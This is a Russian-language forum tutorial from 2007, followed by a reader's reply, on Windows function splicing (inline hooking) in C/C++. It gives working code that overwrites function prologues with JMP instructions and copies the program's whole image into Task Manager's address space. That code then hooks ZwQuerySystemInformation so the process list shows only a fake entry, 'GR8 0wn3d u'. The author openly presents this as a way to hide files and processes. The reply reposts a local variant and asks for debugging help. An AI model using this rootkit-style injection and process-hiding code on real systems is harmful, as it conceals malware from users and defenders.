Article: Splicing Author: Great Date: 27.01.2007 Lang: C/C++ Note: Статья для новчиков с разъяснением перехвата функций методом сплайсинга. Splicing в переводе с английского - склеивание, сращивание. Суть этого метода перехвата функций заключается в замене первых байт функции на переход в функцию-перехватчик, которая сделает некоторые действия и вернет управление в программу. Функция-перехватчик может восстановить первые байты и запустить оригинальную функцию, обработав ее вывод перед возвращением в программу. Например, можно убрать "лишние" файлы в каталоге, "ненужные" процессы в системе и так далее, ну вы меня поняли =). Обычно эта методика применяется в пользовательском режиме, хотя некоторые фаерволы таким образом перехватывают функции ядра. Безусловно, этот метод не единственный. Другой распространенный метод - корректировка таблицы импорта приложения. Он обладает одним существенным недостатком - будет сложно (а порой и невозможно) ставить перехват, если приложение импортирует функции динамически и не ползуется импортом. Сплайсинг лишен таких недостатков, потому что не важно каким образом будет получен адрес функции, ведь функцию-то мы уже "пропатчили". Классический вариант сплайсинга - установка на место первых пяти байт инструкции JMP FAR HookProc (ровно столько занимает ее машинный код). Конечно, можно ставить и другие инструкции, например, CALL FAR addr, PUSH addr/RET FAT, MOV EDI, addr/CALL EDI - количество вариантов ограничено лишь фантазией программиста и возможностями ассемблера. Мы все же остановимся на классическом варианте - JMP FAR addr. Опкод этой команды - E9 XX YY ZZ QQ, где число QQZZYYXX (в 16ричном виде, конечно) предствляет собой разницу между адреом addr и адресом следующей за JMP инструкцией. То есть она равна addr-proc-5, т.к. JMP FAR занимает ровно 5 байт. Перед перезаписью функции нужно разрешить сперва запись в секцию кода, которая по умолчанию отключена, иначе мы рискуем нарваться на Access Violation, а в режиме ядра и вовсе на BSoD. С учетом всех поправок функции установки и снятия перехвата в адресном пространстве текущего процесса примут следущий вид: Code: // ставим локальный хук bool SetSplicingHook(void* pfnDst, void* pfnHook, UCHAR buffer[5]) { // проверка указателей if(IsBadWritePtr(buffer, 5) || IsBadReadPtr(pfnDst, 5)) return false; memcpy(buffer, pfnDst, 5); // бекап начала функции // разрешаем запись в страницу с кодом DWORD old = 0; if(!VirtualProtect(pfnDst, 5, PAGE_READWRITE, &old)) return false; // мы запрашиваем 5 байт, но на самом деле изменятся права доступа всей страницы сразу // ставим JMP FAR DWORD offset = (DWORD) pfnHook - (DWORD) pfnDst - 5; *(BYTE*)pfnDst = 0xE9; // JMP FAR *(DWORD*)((DWORD)pfnDst+1) = offset; // восстанавливает старые атрибуты страницы if(!VirtualProtect(pfnDst, 5, old, &old)) return false; // ништяк return true; } // снимаем локальный хук void UnsetSplicingHook(void* pfnDst, UCHAR buffer[5]) { DWORD old = 0; if(!VirtualProtect(pfnDst, 5, PAGE_READWRITE, &old)) return; memcpy(pfnDst, buffer, 5); // восстанавливаем первые 5 байт из бекапа if(!VirtualProtect(pfnDst, 5, old, &old)) return; } Позаботиться о 5-байтовом буфере должен будет пользователь. С чужим процессом ситуация аналогичная, лишь VirtualProtect меняется на VirtualProtectEx, а прямое чтение/запись на ReadProcessMemory/WriteProcessMemory. Инъекция в чужой процесс: Code: // ставим хук на другой процесс bool SetSplicingHookEx(HANDLE hProcess, void* pfnDst, void* pfnHook, UCHAR buffer[5]) { // аналогично SetSplicingHook DWORD t = 0; if(!ReadProcessMemory(hProcess, pfnDst, buffer, 5, &t) || t!=5) return false; DWORD old = 0; if(!VirtualProtectEx(hProcess, pfnDst, 5, PAGE_READWRITE, &old)) return false; DWORD offset = (DWORD) pfnHook - (DWORD) pfnDst - 5; if(!WriteProcessMemory(hProcess, pfnDst, "\xE9", 1, &t) || t!=1) return false; if(!WriteProcessMemory(hProcess, (LPVOID)((DWORD)pfnDst+1), &offset, 4, &t) || t!=4) return false; if(!VirtualProtectEx(hProcess, pfnDst, 5, old, &old)) return false; return true; } // снимаем хук с другого процесса void UnsetSplicingHookEx(HANDLE hProcess, void* pfnDst, UCHAR buffer[5]) { // аналогично UnsetSplicingHook DWORD old = 0, t = 0; if(!VirtualProtectEx(hProcess, pfnDst, 5, PAGE_READWRITE, &old)) return; WriteProcessMemory(hProcess, pfnDst, buffer, 5, &t); if(!VirtualProtectEx(hProcess, pfnDst, 5, old, &old)) return; } Чтобы удобно объявлять функции перехвата и не забывать про буфера для 5 байт, мы объявим макросы: Code: // макросы для удобного объявления/установки/снятия хуков // объявить хук #define DECLARE_HOOK(RET, FUNC, PARAMS) UCHAR buf##FUNC[5]; RET x##FUNC PARAMS int ErrMessageBox(int,char* e,int,int) { char t[1024]; FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, 0, GetLastError(), 0, t, sizeof(t), 0); return MessageBox(0, t, e, MB_ICONERROR); } // поставить локальный хук #define SET_FUNC_HOOK(FUNC) if(!SetSplicingHook(FUNC, x##FUNC, buf##FUNC)) ExitProcess(ErrMessageBox(0, "Cannot set hook to " #FUNC, 0, MB_ICONERROR)); #define UNSET_FUNC_HOOK(FUNC) UnsetSplicingHook(FUNC, buf##FUNC); // поставить хук на чужой процесс P #define SET_FUNC_HOOK_EX(P,FUNC) if(!SetSplicingHookEx(P,FUNC, x##FUNC, buf##FUNC)) ExitProcess(ErrMessageBox(0, "Cannot set hook to " #FUNC, 0, MB_ICONERROR)); #define UNSET_FUNC_HOOK_EX(P,FUNC) UnsetSplicingHookEx(P,FUNC, buf##FUNC); // ставим хуки по указателю #define DECLARE_HOOK_LP(RET, FUNC, PARAMS) RET (WINAPI *lp##FUNC) PARAMS; UCHAR buf##FUNC[5]; RET WINAPI x##FUNC PARAMS #define GET_HOOK_LP(MOD, FUNC) *(FARPROC*)&lp##FUNC = GetProcAddress(LoadLibrary(MOD), #FUNC); #define SET_FUNC_HOOK_LP(FUNC) if(!SetSplicingHook(lp##FUNC, x##FUNC, buf##FUNC)) ExitProcess(ErrMessageBox(0, "Cannot set hook to " #FUNC, 0, MB_ICONERROR)); #define UNSET_FUNC_HOOK_LP(FUNC) UnsetSplicingHook(lp##FUNC, buf##FUNC); #define SET_FUNC_HOOK_EX_LP(P,FUNC) if(!SetSplicingHookEx(P,lp##FUNC, x##FUNC, buf##FUNC)) ExitProcess(ErrMessageBox(0, "Cannot set hook to " #FUNC, 0, MB_ICONERROR)); #define UNSET_FUNC_HOOK_EX_LP(P,FUNC) UnsetSplicingHookEx(P,lp##FUNC, buf##FUNC); Макрос DECLARE_HOOK объявляет глобальный буфер (его имя - "buf"+имя функции) и функцию-замену для перехватываемой функции (ее имя будет "x"+имя оригинальной функции). SET_FUNC_HOOK и UNSET_FUNC_HOOK ставят и снимают перехват с текущем процессе. Аналогично SET_FUNC_HOOK_EX и UNSET_FUNC_HOOK_EX ставят и снимают перехват с чужого процесса. Третий набор функций служит для перехвата функций в чужом процессе, если у нас есть ее адрес. (Первые пользовались лишь импортом текущего процесса). Адрес хранится в переменной с именем "lp"+имя функции, остальное аналогично за исключением того, что функция тут объявляется с модификатором WINAPI (тоже самое, что и __stdcall), потому что в основном мы будем перехватывать именно апишки, а писать несколько макросов для каждого типа функции будет жирновато. Рассмотрим, наконец, пример Мы напишем программу, которая запускает Task Manager и перехватывает ему ntdll!ZwQuerySystemInformation и подкорректируем список процессов. А именно, мы вернем лишь один процесс с именем "GR8 0wn3d u". Правда чтобы безнаказанно расставлять перехваты в чужом процессе, нам надо сначала перенести свой код в его адресное пространство. Чтобы не заморачиваться с переносом каждой функции, мы просто аккуратно страничку за страничкой перенем ВЕСЬ наш EXE-модуль в чужой процесс, вместе с MZ и PE-заголовками, кодом, данными, импортом и прочим. Чтобы быть уверенным, что по нашим адресам в чужом адресном пространстве ничего нет, мы поставим себе базу повыше - где-нибудь около 29A00000. Опишем функцию для переноса себя в чужой процесс (из статьи Gorl'а "Программа-невидимка". хотел написать сам, потом плюнул и взял готовую, только слегка модифицировал): Code: bool TransferProgramEx(HANDLE hProcess) { // получаем свою базу загрузки и освобождаем память в чужом адресном пространстве по этому виртуальному адресу HMODULE g_module = GetModuleHandle(0); VirtualFreeEx(hProcess, g_module, 0, MEM_RELEASE); // получаем свой размер EXE DWORD dwSize = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE *)(g_module) + ((PIMAGE_DOS_HEADER)(g_module))->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER))))->SizeOfImage; // выделяем память под свое тело char *pMem = (char *)VirtualAllocEx(hProcess, g_module, dwSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(pMem == NULL) return FALSE; DWORD dwOldProt, dwNumBytes, i; MEMORY_BASIC_INFORMATION mbi; // постранично копируем себя в выделенную память по тем же виртуальным адресам, что и здесь VirtualQueryEx(hProcess, pMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION)); while (mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0) { if (!(mbi.Protect & PAGE_GUARD)) { for (i = 0; i < mbi.RegionSize; i += 0x1000) { VirtualProtectEx(hProcess, pMem + i, 0x1000,PAGE_EXECUTE_READWRITE, &dwOldProt); WriteProcessMemory(hProcess, pMem + i, pMem + i, 0x1000, &dwNumBytes); } } pMem += mbi.RegionSize; VirtualQueryEx(hProcess, pMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION)); } // все ок ;) return true; } Теперь можно смело рваться в бой, то есть перехватывать ZwQuerySystemInformation. Сначала опишем структуры и типы, которые она использует: Code: typedef LONG NTSTATUS; typedef LONG KPRIORITY; #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) #define SystemProcessesAndThreadsInformation 5 typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; typedef struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved1[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; // VM_COUNTERS VmCounters; // SYSTEM_THREADS Threads[1]; } SYSTEM_PROCESSES, * PSYSTEM_PROCESSES; Собственно сам обработчик будет очень простым: Code: DECLARE_HOOK_LP(NTSTATUS, ZwQuerySystemInformation, (UINT SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)) { UNSET_FUNC_HOOK_LP(ZwQuerySystemInformation); NTSTATUS ret = lpZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); SET_FUNC_HOOK_LP(ZwQuerySystemInformation); if(ret != STATUS_SUCCESS) return ret; if(SystemInformationClass == SystemProcessesAndThreadsInformation) { PSYSTEM_PROCESSES pProcesses = (PSYSTEM_PROCESSES)SystemInformation; memset(pProcesses, 0, sizeof(SYSTEM_PROCESSES)); pProcesses->NextEntryDelta = 0; pProcesses->ProcessId = 1; pProcesses->ProcessName.Buffer = L"GR8 0wn3d u"; pProcesses->ProcessName.Length = 100; } return ret; } Если вызывают его с параметром SystemProcessesAndThreadsInformation, возвращаем всего лишь один процесс "GR8 0wn3d u", выставляя такое значение имени процесса. Длинну ставим 100 с рассчетом на то, что этого точно хватит. Обнуляем поле NextEntryDelta в списке процессов, чтобы показать, что это первый и последний процесс в списке. Собственно и сама установка перехвата - стартуем таск менеджер, ждем, пока он подготовится к вводу, останавливаем поток, ставим хук, переносим себя в его адресное пространство и восстанавливаем поток: Code: INT APIENTRY WinMain(HINSTANCE, HINSTANCE, LPSTR, INT) { // стартуем exe'шник STARTUPINFO si = {sizeof(si)}; PROCESS_INFORMATION pi = {0}; if(!CreateProcess(0, "taskmgr.exe", 0, 0, TRUE, 0, 0, 0, &si, &pi)) return MessageBox(0, "Cannot create process", 0, MB_ICONERROR); HANDLE hProcess = pi.hProcess; HANDLE hThread = pi.hThread; // ждем пока он запустится WaitForInputIdle(hProcess, 100); SuspendThread(hThread); // получаем адреса GET_HOOK_LP("ntdll.dll", ZwQuerySystemInformation); // ставим хуки SET_FUNC_HOOK_EX_LP(hProcess, ZwQuerySystemInformation); // переносим свою тушу if(!TransferProgramEx(hProcess)) return TerminateProcess(hProcess, 0), MessageBox(0, "Cannot copy module", 0, MB_ICONERROR); ResumeThread(hThread); return 0; } Результат не заставит себя ждать Позволю себе на этом откланиться. Пока )
Здравствуйте. Прошу помощи в хуке ZwQuerySystemInformation. Следующий код аналогичен приведённому выше (переписан без макросов, т.к. с макрасами был невозможен дебаг). Но почему-то не работает. Параметр VirtualProtect() PAGE_READWRITE был изменён на PAGE_EXECUTE_READWRITE, т.к. с PAGE_READWRITE вылетал accsess violation. Прога считает вызовы ZwQuerySystemInformation. В пошаговой отладке видно, что память по указателю исходной функции изменяется но почему-то диспетчер задач показывает все процессы и счётчик вызовов не изменяется. Работаю в MSVC 2008, OC windows 7 (слас другу с XP - ситуация аналогична). Заранее спасибо. PHP: #include <windows.h> LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); WCHAR wch[60]; int i; typedef LONG NTSTATUS; typedef LONG KPRIORITY; #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) #define SystemProcessesAndThreadsInformation 5 typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; typedef struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved1[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; // VM_COUNTERS VmCounters; // SYSTEM_THREADS Threads[1]; } SYSTEM_PROCESSES, * PSYSTEM_PROCESSES; UCHAR bufZwQSI[5]; //буфер typedef NTSTATUS (WINAPI *pWinApiF) (UINT SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); pWinApiF lpZwQSI; //указатель на ZwQuerySystemInformation NTSTATUS WINAPI xZwQSI(UINT SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); /////////////////////////////////////////////////////////////////////////////////////////////// // ставим локальный хук bool SetSplicingHook(pWinApiF pfnDst, pWinApiF pfnHook, UCHAR buffer[5]) { // проверка указателей if(IsBadWritePtr(buffer, 5) || IsBadReadPtr(pfnDst, 5)) return false; memcpy(buffer, pfnDst, 5); // бекап начала функции // разрешаем запись в страницу с кодом DWORD old = 0; if(!VirtualProtect(pfnDst, 5, PAGE_EXECUTE_READWRITE, &old)) return false; // мы запрашиваем 5 байт, но на самом деле изменятся права доступа всей страницы сразу // ставим JMP FAR DWORD offset = (DWORD) pfnHook - (DWORD) pfnDst - 5; *(BYTE*)pfnDst = 0xE9; // JMP FAR *(DWORD*)((DWORD)pfnDst+1) = offset; // восстанавливает старые атрибуты страницы if(!VirtualProtect(pfnDst, 5, old, &old)) return false; // ништяк return true; } // снимаем локальный хук void UnsetSplicingHook(pWinApiF pfnDst, UCHAR buffer[5]) { DWORD old = 0; if(!VirtualProtect(pfnDst, 5, PAGE_EXECUTE_READWRITE, &old)) return; memcpy(pfnDst, buffer, 5); // восстанавливаем первые 5 байт из бекапа if(!VirtualProtect(pfnDst, 5, old, &old)) return; } NTSTATUS WINAPI xZwQSI(UINT SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) { wsprintf(wch,L"%d",++i); UnsetSplicingHook(lpZwQSI, bufZwQSI); NTSTATUS ret = lpZwQSI(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if(!SetSplicingHook(lpZwQSI, xZwQSI, bufZwQSI)) { MessageBox(NULL, L"Cannot set hook to ZwQuerySystemInformation", L"Error", MB_OK); ExitProcess(0); } if(ret != STATUS_SUCCESS) return ret; if(SystemInformationClass == SystemProcessesAndThreadsInformation) { PSYSTEM_PROCESSES pProcesses = (PSYSTEM_PROCESSES)SystemInformation; memset(pProcesses, 0, sizeof(SYSTEM_PROCESSES)); pProcesses->NextEntryDelta = 0; pProcesses->ProcessId = 1; pProcesses->ProcessName.Buffer = L"GR8 0wn3d u"; pProcesses->ProcessName.Length = 100; } return ret; } /////////////////////////////////////////////////////////////////////////////////////////////// int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { wsprintf(wch,L"none"); i=0; // получаем адреса *(FARPROC*)&lpZwQSI = GetProcAddress(LoadLibrary(L"ntdll.dll"), "ZwQuerySystemInformation"); if(!SetSplicingHook(lpZwQSI, xZwQSI, bufZwQSI)) { MessageBox(NULL, L"Cannot set hook to ZwQuerySystemInformation", L"Error", MB_OK); ExitProcess(0); } //////////////////////////////////////////////////////// HWND hMainWnd; WCHAR szClassName[] = L"Hide"; MSG msg; WNDCLASSEX wc; wc.cbSize = sizeof(wc); wc.style = CS_HREDRAW | CS_VREDRAW; wc.lpfnWndProc = WndProc; wc.cbClsExtra = 0; wc.cbWndExtra = 0; wc.hInstance = hInstance; wc.hIcon = LoadIcon(NULL, IDI_APPLICATION); wc.hCursor = LoadCursor(NULL, IDC_ARROW); wc.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH); wc.lpszMenuName = NULL; wc.lpszClassName = szClassName; wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION); if (!RegisterClassEx(&wc)) { MessageBox(NULL, L"Cannot register class", L"Error", MB_OK); return 0; } hMainWnd = CreateWindowEx( NULL,szClassName, L"Hide", WS_CAPTION | WS_SYSMENU, 1000, 400, 150, 150, (HWND)NULL, (HMENU)NULL, (HINSTANCE)hInstance, NULL ); if (!hMainWnd) { MessageBox(NULL, L"Cannot create main window", L"Error", MB_OK); return 0; } ShowWindow(hMainWnd, nCmdShow); while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return msg.wParam; } /////////////////////////////////////////////////////////////////////////////////////////////// LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) { HDC hDC; PAINTSTRUCT ps; RECT rect; switch (msg) { case WM_CREATE: SetTimer(hWnd,NULL,500,NULL); return 0; case WM_TIMER: InvalidateRect(hWnd,NULL,TRUE); return 0; case WM_PAINT: hDC = BeginPaint(hWnd, &ps); GetClientRect(hWnd,&rect); DrawText(hDC, wch, -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER ); EndPaint(hWnd, &ps); return 0; case WM_CLOSE: DestroyWindow(hWnd); return 0; case WM_DESTROY: PostQuitMessage(0); return 0; default: return DefWindowProc(hWnd, msg, wParam, lParam); } return 0; }